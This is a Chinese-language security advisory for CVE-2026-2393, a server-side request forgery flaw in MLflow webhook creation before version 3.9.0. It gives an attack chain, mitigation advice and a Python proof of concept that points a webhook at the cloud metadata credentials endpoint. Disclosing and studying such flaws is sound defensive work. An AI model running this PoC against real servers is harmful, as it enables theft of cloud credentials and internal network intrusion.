IPBUF安全漏洞报告
English
CVE-2026-2393 CVSS 7.1 高危

CVE-2026-2393 MLflow服务端请求伪造漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-2393
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MLflow

相关标签

SSRFMLflow服务端请求伪造CWE-918云安全

漏洞概述

MLflow 3.9.0之前版本存在服务端请求伪造(SSRF)漏洞。由于`_create_webhook()`函数缺乏对URL参数的清洗和校验,攻击者可构造恶意请求,迫使服务器向内部服务或云元数据端点发起HTTP请求,从而导致云凭证窃取、内网横向移动及数据外泄。

技术细节

该漏洞核心在于MLflow处理webhook创建时的输入验证缺失。具体而言,`mlflow/server/handlers.py`中的`_create_webhook()`函数直接接受用户提供的`url`参数,且未实施任何URL方案过滤或白名单机制。随后,`mlflow/webhooks/delivery.py`中的`_send_webhook_request()`函数使用此参数发起HTTP POST请求。由于缺乏输入清理,已认证攻击者可指定内网IP(如127.0.0.1)或云元数据服务地址(如AWS的169.254.169.254)。这使得攻击者能利用服务器向受限资源发送请求,从而绕过网络边界防御,获取敏感信息或进一步渗透内网。

攻击链分析

STEP 1
1. 信息收集
攻击者确认目标运行的是MLflow 3.9.0之前的版本,并拥有有效的低权限账户。
STEP 2
2. 漏洞利用
攻击者调用`/api/2.0/mlflow/webhooks/create`接口,在`http_url_spec.url`字段中填入内网地址(如127.0.0.1:8080)或云元数据地址。
STEP 3
3. 请求发送
MLflow后端接收请求,未做校验即调用`_send_webhook_request`向攻击者指定的内网地址发送HTTP请求。
STEP 4
4. 数据窃取
内网服务或元数据服务响应请求,攻击者通过后续的Webhook响应或其他方式(如DNS外带)获取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-2393: MLflow SSRF # Target: MLflow server instance target_url = "http://localhost:5000/api/2.0/mlflow/webhooks/create" # Attacker controlled URL (e.g., Cloud Metadata Service) malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = { "name": "exploit_webhook", "events": ["MODEL_VERSION_TRANSITIONED_STAGE"], "http_url_spec": { "url": malicious_url, "authorization": "Bearer dummy_token" } } # Send the malicious request response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Webhook created successfully. SSRF triggered.") else: print(f"[-] Failed to create webhook. Status: {response.status_code}")

影响范围

MLflow < 3.9.0

防御指南

临时缓解措施
建议立即升级至3.9.0或更高版本。若无法立即升级,应在防火墙或安全组层面阻断服务器对169.254.169.254(云元数据)及内网敏感网段的出站连接,并严格限制Webhook创建接口的访问权限。

参考链接